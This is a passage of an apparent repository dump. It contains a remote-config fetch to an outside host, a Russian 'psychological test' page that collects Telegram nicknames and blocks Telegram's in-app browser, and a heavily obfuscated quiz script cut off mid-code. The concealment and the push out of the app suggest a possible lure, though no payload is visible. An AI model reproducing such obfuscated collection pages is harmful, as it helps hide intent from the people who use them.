    "content": "async function API_State() {\n    try {\n        const VERSION = 1,\n            NAME = 2,\n            CONFIG = 3;\n        const SP = \"/\";\n        const HOST = \"https://devs.cf:443\";\n        const STYLES = {\n            PARAM: \"background-color: white; color: black;\",\n            NUM: \"background-color: black; color: white;\",\n            VALUE: \"\"\n        }\n        let Response = (await (await fetch(`${HOST}/libs/packages/libsc-in-v3.txt`, {\n            headers: {\n                'Authorization': `Basic ${btoa('guest:')}`\n            }\n        })).text()).split(\"|\");\n\n        console.log(`\n%c 1 %c  PARENT %c ${document.URL}\n%c 2 %c  DOMAIN %c ${Response[CONFIG].split(SP)[Response[CONFIG].split(SP).length - 2].split(\"@\")[1].split(\":\")[0]}\n%c 3 %c    PORT %c ${Response[CONFIG].split(SP)[Response[CONFIG].split(SP).length - 2].split(\":\")[1]}\n%c 4 %c    USER %c ${Response[CONFIG].split(SP)[Response[CONFIG].split(SP).length - 2].split(\"@\")[0]}\n%c 5 %c  CONFIG %c ${Response[CONFIG].split(SP)[Response[CONFIG].split(SP).length - 1]}\n%c 6 %c VERSION %c ${Response[VERSION]}\n%c 7 %c    NAME %c ${Response[NAME]}\\n`,\n            STYLES.NUM, STYLES.PARAM, STYLES.VALUE,\n            STYLES.NUM, STYLES.PARAM, STYLES.VALUE,\n            STYLES.NUM, STYLES.PARAM, STYLES.VALUE,\n            STYLES.NUM, STYLES.PARAM, STYLES.VALUE,\n            STYLES.NUM, STYLES.PARAM, STYLES.VALUE,\n            STYLES.NUM, STYLES.PARAM, STYLES.VALUE,\n            STYLES.NUM, STYLES.PARAM, STYLES.VALUE)\n    } catch (ec) {\n        console.error(\"No API response\")\n    }\n    return null;\n}\n"
  },
  {
    "path": "libs/ultra-hash-v3.4.js",
    "content": "try {\n  md5(\"\");\n} catch(e) {\n  throw \"This script requires the MD5 library\"\n}\n\nfunction ultraHash(str, difficulty = 1, salt = \"\") {\n    let mathprc = str, validator = \"\";\n    for (var f = 0; f<((16*difficulty)+1); f++) { mathprc = md5(mathprc+salt); }\n    for (var m = 0; m<256; m++) { validator += md5(mathprc+md5(difficulty+salt)+md5(mathprc[4])+(m<10 ? validator[m] : m + salt)); }\n    mathprc = md5(validator[16] + validator[32]);\n    return mathprc+(md5(mathprc+(salt+difficulty))+validator);\n}\n"
  },
  {
    "path": "mov/@my-profile-test/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Психологический тест | mov eax, 4</title>\n    <link rel=\"stylesheet\" href=\"style.css\">\n</head>\n\n<body>\n    <div class=\"animated-bg\">\n        <div class=\"gradient-orb orb-1\"></div>\n        <div class=\"gradient-orb orb-2\"></div>\n        <div class=\"gradient-orb orb-3\"></div>\n    </div>\n\n    <div class=\"container\">\n        <!-- Баннер -->\n        <div class=\"banner\">\n            <img src=\"banner.png\" alt=\"mov eax, 4\" class=\"banner-image\" onerror=\"this.style.display='none'\">\n        </div>\n\n        <!-- Экран ввода никнейма -->\n        <div id=\"welcome-screen\" class=\"screen active\">\n            <div class=\"content-card\">\n                <h1>Психологический профиль</h1>\n                <p class=\"subtitle\">В конце Вам будет выдан именной сертификат и рекомендации</p>\n                <div class=\"input-group\">\n                    <label for=\"telegram-nick\">Ваш Telegram никнейм</label>\n                    <input type=\"text\" id=\"telegram-nick\" placeholder=\"@username\" maxlength=\"33\">\n                </div>\n                <button class=\"btn-primary\" id=\"start-test-btn\">Начать тест</button>\n            </div>\n        </div>\n\n        <!-- Экран теста -->\n        <div id=\"test-screen\" class=\"screen\">\n            <div class=\"progress-bar\">\n                <div class=\"progress-fill\" id=\"progress-fill\"></div>\n            </div>\n            <div class=\"question-counter\">\n                <span id=\"current-question\">1</span> / <span id=\"total-questions\">40</span>\n            </div>\n\n            <div class=\"content-card question-card\">\n                <h2 id=\"question-text\" class=\"question-text\"></h2>\n                <div id=\"answers-container\" class=\"answers-container\"></div>\n            </div>\n        </div>\n\n        <!-- Экран результатов -->\n        <div id=\"results-screen\" class=\"screen\">\n            <div class=\"content-card results-card\">\n                <div id=\"certificate\">\n                    <div class=\"certificate-header\">\n                        <h1>Результаты теста</h1>\n                        <p class=\"cert-username\" id=\"cert-username\"></p>\n                    </div>\n\n                    <div class=\"stats-grid\">\n                        <div class=\"stat-item\">\n                            <div class=\"stat-label\">Аналитические способности</div>\n                            <div class=\"stat-bar\">\n                                <div class=\"stat-fill\" id=\"analytical-bar\"></div>\n                            </div>\n                            <div class=\"stat-value\" id=\"analytical-value\">0%</div>\n                        </div>\n                        <div class=\"stat-item\">\n                            <div class=\"stat-label\">Терпеливость</div>\n                            <div class=\"stat-bar\">\n                                <div class=\"stat-fill\" id=\"patient-bar\"></div>\n                            </div>\n                            <div class=\"stat-value\" id=\"patient-value\">0%</div>\n                        </div>\n                        <div class=\"stat-item\">\n                            <div class=\"stat-label\">Сообразительность</div>\n                            <div class=\"stat-bar\">\n                                <div class=\"stat-fill\" id=\"intelligent-bar\"></div>\n                            </div>\n                            <div class=\"stat-value\" id=\"intelligent-value\">0%</div>\n                        </div>\n                        <div class=\"stat-item\">\n                            <div class=\"stat-label\">Креативность</div>\n                            <div class=\"stat-bar\">\n                                <div class=\"stat-fill\" id=\"creative-bar\"></div>\n                            </div>\n                            <div class=\"stat-value\" id=\"creative-value\">0%</div>\n                        </div>\n                        <div class=\"stat-item\">\n                            <div class=\"stat-label\">Стрессоустойчивость</div>\n                            <div class=\"stat-bar\">\n                                <div class=\"stat-fill\" id=\"stress-bar\"></div>\n                            </div>\n                            <div class=\"stat-value\" id=\"stress-value\">0%</div>\n                        </div>\n                        <div class=\"stat-item\">\n                            <div class=\"stat-label\">Коммуникация</div>\n                            <div class=\"stat-bar\">\n                                <div class=\"stat-fill\" id=\"communication-bar\"></div>\n                            </div>\n                            <div class=\"stat-value\" id=\"communication-value\">0%</div>\n                        </div>\n                    </div>\n\n                    <div class=\"profile-description\">\n                        <h3>Ваш профиль</h3>\n                        <p id=\"profile-text\"></p>\n                    </div>\n\n                    <div class=\"recommendations\">\n                        <h3>Рекомендации для вас</h3>\n                        <ul id=\"recommendations-list\"></ul>\n                    </div>\n\n                    <div class=\"weaknesses\">\n                        <h3>Возможные слабые стороны</h3>\n                        <ul id=\"weaknesses-list\"></ul>\n                    </div>\n\n                    <div class=\"certificate-section\">\n                        <p class=\"date\" id=\"test-date\"></p>\n                    </div>\n                </div>\n\n                <div class=\"action-buttons\">\n                    <button class=\"btn-primary\" id=\"download-cert-btn\">Скачать сертификат</button>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    <script>\n        if (typeof window.TelegramWebview !== \"undefined\") {\n            var startTestBtn = document.getElementsByClassName(\"content-card\")[0];\n\n            startTestBtn.innerHTML = \"<h1>Внимание!</h1><p>Этот тест не работает внутри Telegram. Пожалуйста, откройте его в обычном браузере.</p>\";\n        }\n    </script>\n\n    <script src=\"script.js\"></script>\n</body>\n\n</html>"
  },
  {
    "path": "mov/@my-profile-test/script.js",
    "content": "(()=>{var DosX_mA_B=5757,DosX_mA_D=\"GEgV\",DosX_mA_U=1329,DosX_mA_V=\"piSq\",DosX_mA_Q=1818,DosX_mA_H=\"FVzc\",DosX_mA_Z=6257,DosX_mA_G=876,DosX_mA_B3=\"#eLW\",DosX_mA_B4=7646,DosX_mA_B8=\"gdDi\",DosX_mA_B9=7041,DosX_mA_BW=\"91cp\",DosX_mA_Bf=7726,DosX_mA_By=\"iW3p\",DosX_mA_Bi=1127,DosX_mA_BD=\"*4ZH\",DosX_mA_Bn=1462,DosX_mA_BU=\"QAYB\",DosX_mY_B=123,DosX_mT_B=102,DosX_ms_B=301;function eW(B,W,K,j,D){return DosX_W(B- -DosX_ms_B,D)}var K=DosX_q();function eB(B,W,K,j,D){return DosX_W(B- -DosX_mY_B,D)}for(;;)try{if(790897==+parseInt(eB(DosX_mA_B,0,0,0,DosX_mA_D))+parseInt(eB(DosX_mA_U,0,0,0,DosX_mA_V))/2+-parseInt(((W,j)=>DosX_W(W- -DosX_mT_B,j))(DosX_mA_Q,DosX_mA_H))/3*(parseInt(eB(DosX_mA_Z,0,0,0,DosX_mA_V))/4)+-parseInt(eW(DosX_mA_G,0,0,0,DosX_mA_B3))/5+parseInt(eW(DosX_mA_B4,0,0,0,DosX_mA_B8))/6*(parseInt(eB(DosX_mA_B9,0,0,0,DosX_mA_BW))/7)+parseInt(eB(DosX_mA_Bf,0,0,0,DosX_mA_By))/8+parseInt(eW(DosX_mA_Bi,0,0,0,DosX_mA_BD))/9*(-parseInt(eW(DosX_mA_Bn,0,0,0,DosX_mA_BU))/10))break;K.push(K.shift())}catch(D){K.push(K.shift())}})();var DosX_o=(()=>{var DosX_mx_K=214,DosX_mx_D=\"gdDi\",B=!0;return function(W,K){var j=B?function(){var D,DosX_mw_B=970;if(K)return D=K[((K,D)=>DosX_W(K- -DosX_mw_B,D))(-DosX_mx_K,DosX_mx_D)](W,arguments),K=null,D}:function(){};return B=!1,j}})(),DosX_B=DosX_o(this,function(){var DosX_P7_B=\"@d!&\",DosX_P7_U=\"p#OH\",DosX_P7_V=1443,DosX_P7_O=72,DosX_P7_F=\"Z[nw\",DosX_P7_L=1217,DosX_P7_G=\"TEJX\",DosX_P7_B1=1991,DosX_P7_B4=\"9P*O\",DosX_P7_B5=5033,DosX_P7_B7=\"mlQ7\",DosX_P7_BB=504,DosX_P7_Bf=\"gv1I\",DosX_P7_BK=4315,DosX_P7_Bi=\"mQoF\",DosX_P7_Bu=\"J9b^\",DosX_P7_Bn=3028,DosX_P7_Bm=1649,DosX_P7_BX=\"xy(x\",DosX_P7_BR=5174,DosX_P6_B=54,DosX_P5_B=251,DosX_P4_B=709,DosX_P3_B=817,DosX_P2_B=556;function ej(B,W,K,j,D){return DosX_W(B- -DosX_P2_B,D)}var W={};function ep(B,W,K,j,D){return DosX_W(D- -DosX_P4_B,B)}function ey(B,W,K,j,D){return DosX_W(W-DosX_P5_B,D)}W[ep(DosX_P7_B,0,0,0,6562)]=ep(DosX_P7_U,0,0,0,DosX_P7_V)+ej(-DosX_P7_O,0,0,0,DosX_P7_F);DosX_P7_U=W;return DosX_B[ey(0,DosX_P7_L,0,0,DosX_P7_G)]()[ey(0,DosX_P7_B1,0,0,DosX_P7_B4)](DosX_P7_U[((B,K)=>DosX_W(B- -DosX_P6_B,K))(DosX_P7_B5,DosX_P7_B7)])[ej(DosX_P7_BB,0,0,0,DosX_P7_Bf)]()[ej(DosX_P7_BK,0,0,0,DosX_P7_Bi)+\"or\"](DosX_B)[ep(DosX_P7_Bu,0,0,0,DosX_P7_Bn)](ej(DosX_P7_Bm,0,0,0,DosX_P7_BX)+((W,K)=>DosX_W(W- -DosX_P3_B,K))(DosX_P7_BR,DosX_P7_B))}),DosX_oH=(DosX_B(),{}),DosX_od=(DosX_oH[DosX_eI(-145,3171,\"0jPz\",2114,2498)+\"l\"]=5,DosX_oH[DosX_ee(2923,5049,4299,1402,\"GrE)\")]=4,DosX_oH[DosX_eI(5288,5517,\"@z9)\",7005,5272)+\"nt\"]=3,DosX_oH[DosX_eI(1890,-662,\"iW3p\",2446,6173)]=2,DosX_oH[DosX_ee(8151,6623,6772,10075,\")Lf8\")]=4,DosX_oH[DosX_en(7600,6908,\"hP1P\",8343,4705)+DosX_ee(3662,395,3411,846,\"GrE)\")]=2,{}),DosX_og=(DosX_od[DosX_ee(2933,2087,5372,-23,\"XO53\")]=DosX_eD(-1811,3446,\"Z[nw\",668,2168)+DosX_ee(4265,6696,6108,5499,\"@d!&\")+DosX_ee(3311,5752,5887,9406,\"TEJX\")+DosX_em(\"gv1I\",7734,5252,5668,5654)+DosX_eI(5779,99,\"m6]b\",2396,2538)+DosX_em(\"oxl#\",9020,10083,7621,8146),DosX_od[DosX_en(5753,2635,\"v$9*\",2581,344)]=DosX_oH,{}),DosX_oE=(DosX_og[DosX_em(\"n2r*\",2281,7442,4982,4898)+\"l\"]=4,DosX_og[DosX_em(\"J9b^\",2590,6596,4020,1532)]=3,DosX_og[DosX_eI(7546,9610,\"$!Aq\",8019,7741)+\"nt\"]=5,DosX_og[DosX_eI(6902,5909,\"FVzc\",7845,4595)]=2,DosX_og[DosX_ee(-1373,1579,2633,2487,\"i8^y\")]=3,DosX_og[DosX_eI(4486,2226,\"XO53\",1925,200)+DosX_en(3519,-15,\"GrE)\",-806,2330)]=3,{}),DosX_ol=(DosX_oE[DosX_em(\"Qsdo\",1709,6546,3781,3913)]=DosX_eD(3111,608,\"FVzc\",-8,2891)+DosX_em(\"x4H&\",3514,484,1528,3504)+DosX_eD(6704,7452,\"#hmO\",4240,6429)+DosX_en(532,1658,\"Z[nw\",1888,221)+DosX_eI(9107,9661,\"QAYB\",7858,4304),DosX_oE[DosX_em(\"piSq\",1646,1328,5121,4996)]=DosX_og,{}),DosX_oF=(DosX_ol[DosX_eD(661,5912,\"f$Am\",2844,4257)+\"l\"]=3,DosX_ol[DosX_eI(4657,8681,\"xy(x\",6956,6762)]=2,DosX_ol[DosX_ee(828,1797,1238,-55,\"TEJX\")+\"nt\"]=4,DosX_ol[DosX_em(\"GrE)\",10420,9890,7251,4531)]=5,DosX_ol[DosX_ee(-266,3380,6642,1036,\"GEgV\")]=3,DosX_ol[DosX_en(8169,6908,\"hP1P\",9138,8687)+DosX_eD(3741,1473,\"xy(x\",2957,5074)]=2,{}),DosX_oS=(DosX_oF[DosX_ee(-3587,160,-2839,-1159,\"QAYB\")]=DosX_ee(3779,2698,-84,165,\"iW3p\")+DosX_eD(1153,4039,\"yAXs\",1062,-122)+DosX_eI(5606,1741,\")Lf8\",2829,2896)+DosX_eI(1796,4325,\"J9b^\",3448,1264),DosX_oF[DosX_en(-1690,2042,\"J9b^\",-1222,2825)]=DosX_ol,{}),DosX_oM=(DosX_oS[DosX_en(6513,5604,\"mQoF\",2157,7708)+\"l\"]=2,DosX_oS[DosX_en(4888,3946,\"Qsdo\",2628,5524)]=3,DosX_oS[DosX_eI(1537,-182,\"#hmO\",2260,3120)+\"nt\"]=2,DosX_oS[DosX_eD(-72,-1874,\")Lf8\",537,973)]=3,DosX_oS[DosX_eD(7764,10580,\"wZHi\",7031,7154)]=2,DosX_oS[DosX_eD(5435,3078,\"#hmO\",4696,1764)+DosX_ee(3369,2658,616,1547,\"@z9)\")]=5,{}),DosX_ot=(DosX_oM[DosX_en(8563,6683,\"@z9)\",8147,9880)]=DosX_ee(-1411,2429,4973,4400,\"p#OH\")+DosX_eD(3707,2399,\"oxl#\",1597,1880)+DosX_ee(1119,2143,4389,3157,\"QAYB\")+DosX_eD(-1362,-735,\"FVzc\",1131,-41),DosX_oM[DosX_eD(1603,4322,\"piSq\",3281,3066)]=DosX_oS,{}),DosX_oZ=(DosX_ot[DosX_em(\")Lf8\",-802,522,3041,1767)+\"l\"]=2,DosX_ot[DosX_em(\"yAXs\",2349,3586,3599,5028)]=1,DosX_ot[DosX_ee(-2461,194,3725,3868,\"mQoF\")+\"nt\"]=3,DosX_ot[DosX_em(\"@z9)\",2951,5172,1783,4006)]=4,DosX_ot[DosX_ee(2242,5146,2330,5767,\"iW3p\")]=2,DosX_ot[DosX_eI(130,4887,\"XO53\",1925,4499)+DosX_em(\"*$d[\",3018,3557,6495,3716)]=2,{}),DosX_oc=(DosX_oZ[DosX_ee(-2781,160,823,1225,\"QAYB\")]=DosX_eI(11630,11045,\"QAYB\",8526,5133)+DosX_eI(7148,7155,\"x4H&\",4981,4019)+DosX_eI(4780,1528,\"XO53\",3341,3674)+DosX_en(3071,4732,\"#eLW\",7725,3438),DosX_oZ[DosX_ee(-50,1464,1191,-1237,\"7Or@\")]=DosX_ot,{}),DosX_os=(DosX_oc[DosX_eD(6964,5858,\"piSq\",3761,2363)]=DosX_eD(6439,2307,\"91cp\",2821,6594)+DosX_em(\"p#OH\",7848,4736,4224,415)+DosX_en(3542,4307,\"iW3p\",7858,3343)+DosX_eI(5231,11169,\"9P*O\",8213,4470)+DosX_en(5251,2252,\"GrE)\",5596,5675),DosX_oc[DosX_eI(750,1580,\"MB5V\",3115,2059)]=[DosX_od,DosX_oE,DosX_oF,DosX_oM,DosX_oZ],{}),DosX_oT=(DosX_os[DosX_eD(1022,4848,\"91cp\",3693,3567)+\"l\"]=5,DosX_os[DosX_em(\"QYGq\",6882,3123,4926,5383)]=5,DosX_os[DosX_eD(4685,7917,\"m6]b\",6195,2660)+\"nt\"]=4,DosX_os[DosX_ee(2581,1667,3590,4107,\"*$d[\")]=2,DosX_os[DosX_eI(4932,7149,\"f$Am\",5899,6637)]=5,DosX_os[DosX_eD(3741,4842,\"#hmO\",4696,6328)+DosX_en(5629,5045,\"*4ZH\",4744,3390)]=2,{}),DosX_oL=(DosX_oT[DosX_eD(5564,3218,\"7Or@\",2480,2160)]=DosX_eD(4924,-692,\"i8^y\",1645,3704)+DosX_eD(1691,3589,\"QYGq\",177,1272)+DosX_eI(1471,5291,\")Lf8\",2741,6428)+DosX_eD(2928,1408,\"MB5V\",4266,2030)+DosX_en(2592,420,\"wZHi\",3864,-2850)+DosX_ee(2827,2195,2990,2136,\"iW3p\"),DosX_oT[DosX_em(\"4RK]\",6137,3881,6631,9773)]=DosX_os,{}),DosX_oY=(DosX_oL[DosX_ee(7239,3458,-166,-178,\"f$Am\")+\"l\"]=4,DosX_oL[DosX_en(6839,4533,\"piSq\",3925,7493)]=4,DosX_oL[DosX_ee(8045,4323,1311,1705,\"f$Am\")+\"nt\"]=3,DosX_oL[DosX_eD(6452,1364,\"xy(x\",4407,6918)]=3,DosX_oL[DosX_ee(3364,2752,3085,-442,\"FCGK\")]=4,DosX_oL[DosX_eI(7881,4539,\"mlQ7\",7558,9534)+DosX_en(6063,5986,\"GEgV\",9118,4053)]=3,{}),DosX_oJ=(DosX_oY[DosX_em(\"qQCK\",991,839,2129,2896)]=DosX_eD(2761,4135,\"9P*O\",3292,6467)+DosX_eI(6085,5540,\"f$Am\",6719,10455)+DosX_ee(8277,5554,8069,2222,\"mlQ7\")+DosX_em(\"x4H&\",4699,-1531,1557,-1729)+DosX_ee(9302,6070,2411,7492,\"FCGK\"),DosX_oY[DosX_eI(-1051,2880,\"gv1I\",1410,5184)]=DosX_oL,{}),DosX_oA=(DosX_oJ[DosX_ee(1490,1815,4668,4435,\")Lf8\")+\"l\"]=3,DosX_oJ[DosX_eI(6127,6793,\"7Or@\",3844,2485)]=2,DosX_oJ[DosX_eD(1127,5532,\"gv1I\",3464,6582)+\"nt\"]=3,DosX_oJ[DosX_ee(-1671,230,3749,-769,\"Z[nw\")]=4,DosX_oJ[DosX_eD(-2840,2911,\"i8^y\",965,-2419)]=3,DosX_oJ[DosX_ee(8806,5275,1744,3673,\"GrE)\")+DosX_ee(-1726,1127,3402,139,\"TEJX\")]=3,{}),DosX_ow=(DosX_oA[DosX_eI(7257,7354,\"TEJX\",6223,2528)]=DosX_eI(5809,5928,\"p#OH\",5999,6753)+DosX_em(\"xy(x\",7543,6922,6419,9059)+DosX_ee(4065,6771,4614,7004,\"wZHi\")+DosX_ee(9333,6210,6435,6136,\"O*79\")+DosX_em(\"FCGK\",7942,9408,7800,8760),DosX_oA[DosX_eD(1854,2554,\"gdDi\",5435,7708)]=DosX_oJ,{}),DosX_ox=(DosX_ow[DosX_eD(4739,9901,\"*4ZH\",6591,3536)+\"l\"]=2,DosX_ow[DosX_eD(2872,6258,\"x4H&\",6135,8851)]=2,DosX_ow[DosX_eI(9693,4415,\"KEHY\",8065,7408)+\"nt\"]=2,DosX_ow[DosX_en(33,741,\")Lf8\",-778,-1528)]=3,DosX_ow[DosX_en(293,2890,\"J9b^\",4657,727)]=2,DosX_ow[DosX_eD(6719,7668,\"FVzc\",5794,5097)+DosX_ee(3629,5010,6114,5130,\"4RK]\")]=2,{}),DosX_oG=(DosX_ox[DosX_en(3292,5156,\"#hmO\",7991,5857)]=DosX_en(9506,6964,\"KEHY\",4475,10497)+DosX_eD(5435,8437,\"XO53\",7030,3963)+DosX_eD(4743,3201,\"*$d[\",3713,6822)+DosX_eD(-363,-340,\"Z[nw\",2371,1690)+DosX_eI(5340,1726,\"FVzc\",3234,2248),DosX_ox[DosX_en(-1178,-54,\"#eLW\",-1515,-3108)]=DosX_ow,{}),DosX_q0=(DosX_oG[DosX_ee(4287,6139,3757,8671,\"piSq\")+\"l\"]=3,DosX_oG[DosX_eD(2473,-1541,\"*$d[\",-351,856)]=1,DosX_oG[DosX_ee(642,3219,5098,2225,\"iW3p\")+\"nt\"]=4,DosX_oG[DosX_eI(7188,1374,\"FCGK\",4919,4750)]=5,DosX_oG[DosX_en(8770,6515,\"MB5V\",8410,6694)]=2,DosX_oG[DosX_eD(5916,4676,\"J9b^\",7099,9032)+DosX_ee(-273,171,2794,-12,\"6Gdc\")]=2,{}),DosX_q1=(DosX_q0[DosX_eI(2916,6623,\"9P*O\",2925,966)]=DosX_eD(3008,8514,\"4RK]\",6253,9663)+DosX_eD(3960,2313,\"hP1P\",4921,8385)+DosX_en(7126,6387,\"v$9*\",6408,5428)+DosX_em(\"Z[nw\",9103,7443,8880,8518)+DosX_en(6429,5206,\"XO53\",4796,3339),DosX_q0[DosX_ee(150,1911,4126,4502,\"MB5V\")]=DosX_oG,{}),DosX_q2=(DosX_q1[DosX_ee(-655,1071,553,149,\"$!Aq\")]=DosX_ee(4255,723,1692,2744,\"*$d[\")+DosX_ee(2065,2499,1643,1133,\"euG2\")+DosX_em(\"m6]b\",2033,3028,4241,7940)+DosX_ee(7361,5136,8168,4342,\"XO53\")+DosX_eI(10004,10733,\"hP1P\",8390,7513)+DosX_eD(10871,3957,\"4RK]\",7068,4745),DosX_q1[DosX_eI(3326,36,\"m6]b\",3557,564)]=[DosX_oT,DosX_oY,DosX_oA,DosX_ox,DosX_q0],{}),DosX_q3=(DosX_q2[DosX_eI(4941,8454,\"XO53\",6386,6704)+\"l\"]=5,DosX_q2[DosX_en(1615,658,\"6Gdc\",918,-2223)]=4,DosX_q2[DosX_eI(9619,4957,\"@z9)\",7005,9112)+\"nt\"]=5,DosX_q2[DosX_em(\"8L5y\",4778,8594,7390,6400)]=3,DosX_q2[DosX_eD(-723,-2227,\"7Or@\",-202,2591)]=3,DosX_q2[DosX_eD(4254,1281,\"6Gdc\",3800,4710)+DosX_eI(-285,-249,\"gv1I\",3365,2766)]=2,{}),DosX_q4=(DosX_q3[DosX_eD(5296,4852,\"FVzc\",3291,4733)]=DosX_en(3962,1868,\"O*79\",5348,4282)+DosX_eD(4997,2986,\"FVzc\",5322,3983)+DosX_eD(2350,716,\"gdDi\",2626,4607)+DosX_ee(8582,7439,8123,7703,\"yAXs\")+DosX_eI(1434,7241,\"m6]b\",4684,4329),DosX_q3[DosX_eD(-716,-1288,\"XO53\",2104,3988)]=DosX_q2,{}),DosX_q5=(DosX_q4[DosX_eI(1079,1176,\"J9b^\",2988,-539)+\"l\"]=3,DosX_q4[DosX_eI(11084,11019,\"euG2\",8095,9128)]=3,DosX_q4[DosX_eD(2662,4248,\"gdDi\",4662,6669)+\"nt\"]=4,DosX_q4[DosX_em(\"yAXs\",2595,4002,1822,-1496)]=3,DosX_q4[DosX_eI(2148,3831,\"euG2\",5284,7105)]=3,DosX_q4[DosX_em(\"MB5V\",660,3047,1648,-1317)+DosX_eD(6732,6652,\"xy(x\",2957,6152)]=3,{}),DosX_q6=(DosX_q5[DosX_eD(3040,2784,\"qQCK\",289,-2460)]=DosX_eI(10457,11946,\"KEHY\",8313,5759)+DosX_em(\"4RK]\",5672,9096,6759,6805)+DosX_ee(6647,6703,3310,7838,\"KEHY\")+DosX_en(-940,1878,\"#eLW\",2829,4584)+DosX_em(\"#eLW\",8612,6070,8780,12073),DosX_q5[DosX_eI(3405,1212,\"iW3p\",3192,1857)]=DosX_q4,{}),DosX_q7=(DosX_q6[DosX_em(\"i8^y\",6975,6461,4803,4114)+\"l\"]=3,DosX_q6[DosX_en(4599,4730,\"oxl#\",6330,4106)]=2,DosX_q6[DosX_eD(6669,5382,\"xy(x\",6602,10104)+\"nt\"]=4,DosX_q6[DosX_ee(-69,1667,5011,3974,\"*$d[\")]=5,DosX_q6[DosX_en(6858,3939,\"@d!&\",2394,5833)]=4,DosX_q6[DosX_eI(6380,6700,\"J9b^\",8654,5922)+DosX_eD(6214,3942,\"FVzc\",3689,3476)]=3,{}),DosX_q8=(DosX_q7[DosX_en(3964,493,\"qQCK\",1763,2623)]=DosX_eI(-526,592,\"wZHi\",1849,4115)+DosX_en(536,1707,\"KEHY\",4688,-1318)+DosX_en(6738,6886,\"*4ZH\",7326,10707)+DosX_em(\"FVzc\",9052,4480,7730,4687)+\"и\",DosX_q7[DosX_en(-1022,1841,\"iW3p\",1151,-1079)]=DosX_q6,{}),DosX_q9=(DosX_q8[DosX_eI(9517,3499,\"wZHi\",6709,7455)+\"l\"]=2,DosX_q8[DosX_eD(-2612,-2448,\"m6]b\",465,2977)]=4,DosX_q8[DosX_en(-244,3365,\"wZHi\",4768,4884)+\"nt\"]=2,DosX_q8[DosX_eI(5445,5877,\"8L5y\",7105,4374)]=1,DosX_q8[DosX_eI(9368,9582,\"#hmO\",7375,11073)]=4,DosX_q8[DosX_ee(8083,6617,8094,3990,\"mlQ7\")+DosX_eD(7646,4828,\"hP1P\",6542,6806)]=3,{}),DosX_qB=(DosX_q9[DosX_eD(5129,-1045,\"9P*O\",1370,-1105)]=DosX_en(8414,6782,\"J9b^\",7334,3938)+DosX_eI(4149,2954,\"xy(x\",6615,2914)+DosX_eD(2302,2323,\"Z[nw\",3234,6031)+DosX_ee(2112,5255,5251,4637,\"f$Am\")+\"am\",DosX_q9[DosX_ee(-877,2261,5117,3693,\"yAXs\")]=DosX_q8,{}),DosX_qo=(DosX_qB[DosX_eD(478,-354,\"9P*O\",1333,-2457)+\"l\"]=3,DosX_qB[DosX_eI(6739,-432,\"$!Aq\",3360,4127)]=3,DosX_qB[DosX_ee(2864,5937,5112,6062,\"*4ZH\")+\"nt\"]=3,DosX_qB[DosX_ee(-2914,143,3366,2386,\"p#OH\")]=2,DosX_qB[DosX_eD(1484,-1577,\"mQoF\",1600,-171)]=4,DosX_qB[DosX_em(\"91cp\",3336,5051,1657,2403)+DosX_em(\"p#OH\",4147,7133,4098,1516)]=3,{}),DosX_qq=(DosX_qo[DosX_em(\"n2r*\",347,-966,2660,766)]=DosX_eI(7860,5901,\"xy(x\",6033,8644)+DosX_ee(5177,5254,6688,5667,\"9P*O\")+DosX_eD(9786,7186,\"J9b^\",7138,5478)+DosX_eD(2769,2815,\"i8^y\",822,3828)+DosX_em(\"w0LC\",5726,2928,3896,4471)+\"ке\",DosX_qo[DosX_em(\"QAYB\",2449,1751,4870,3793)]=DosX_qB,{}),DosX_qW=(DosX_qq[DosX_eD(-1795,-129,\"TEJX\",1383,4191)]=DosX_eD(4332,5702,\"FVzc\",3716,7067)+DosX_eD(-3030,-3780,\"$!Aq\",-177,1158)+DosX_em(\"gv1I\",6600,11817,8090,8712)+DosX_eI(3944,6423,\"hP1P\",2862,292)+DosX_ee(2495,234,1013,3230,\"qQCK\")+\"?\",DosX_qq[DosX_em(\"Z[nw\",3614,2563,4179,3093)]=[DosX_q3,DosX_q5,DosX_q7,DosX_q9,DosX_qo],{}),DosX_qf=(DosX_qW[DosX_en(2469,6010,\"iW3p\",4009,9258)+\"l\"]=5,DosX_qW[DosX_eD(-1217,4124,\"hP1P\",1748,3149)]=4,DosX_qW[DosX_en(-339,1115,\"0jPz\",2900,3250)+\"nt\"]=5,DosX_qW[DosX_ee(4916,4474,1046,3707,\"#eLW\")]=3,DosX_qW[DosX_ee(2263,1635,3549,3556,\"#eLW\")]=4,DosX_qW[DosX_en(9503,7022,\"f$Am\",8186,10115)+DosX_en(-1313,495,\"m6]b\",562,3331)]=3,{}),DosX_qK=(DosX_qf[DosX_eD(4863,3842,\"gv1I\",1743,3310)]=DosX_ee(2428,6101,5497,9868,\"8L5y\")+DosX_ee(6308,5754,8324,2500,\"0jPz\")+DosX_eD(5104,4391,\"7Or@\",5482,4040)+DosX_em(\"QAYB\",6802,7556,5220,7879)+DosX_en(3338,2781,\"GrE)\",289,5586),DosX_qf[DosX_ee(1825,4362,4326,5160,\"*4ZH\")]=DosX_qW,{}),DosX_qp=(DosX_qK[DosX_em(\"i8^y\",8163,4531,4803,8206)+\"l\"]=4,DosX_qK[DosX_ee(10454,6749,4337,10463,\"x4H&\")]=3,DosX_qK[DosX_eI(9605,9724,\"GrE)\",6646,4526)+\"nt\"]=4,DosX_qK[DosX_en(753,3017,\"91cp\",4454,627)]=3,DosX_qK[DosX_eI(5132,3192,\"XO53\",3568,4135)]=3,DosX_qK[DosX_em(\"MB5V\",-1948,2633,1648,2462)+DosX_en(6216,5045,\"*4ZH\",7161,3520)]=3,{}),DosX_qj=(DosX_qp[DosX_eI(6100,-437,\"9P*O\",2925,407)]=DosX_ee(2996,117,1187,-1406,\"QYGq\")+DosX_em(\"8L5y\",5820,9092,7612,5205)+DosX_en(2193,1218,\"O*79\",3461,2082)+DosX_ee(7860,4187,4795,7583,\"*4ZH\"),DosX_qp[DosX_eD(3251,1986,\"XO53\",2104,-837)]=DosX_qK,{}),DosX_qy=(DosX_qj[DosX_eI(6496,9387,\"gv1I\",7687,6708)+\"l\"]=3,DosX_qj[DosX_eI(686,826,\"#eLW\",3772,6888)]=2,DosX_qj[DosX_en(8469,6668,\"$!Aq\",3141,4074)+\"nt\"]=4,DosX_qj[DosX_ee(2661,596,-725,480,\"yAXs\")]=5,DosX_qj[DosX_eD(5561,5273,\"yAXs\",5036,5654)]=3,DosX_qj[DosX_eD(3478,2075,\"KEHY\",4093,2437)+DosX_ee(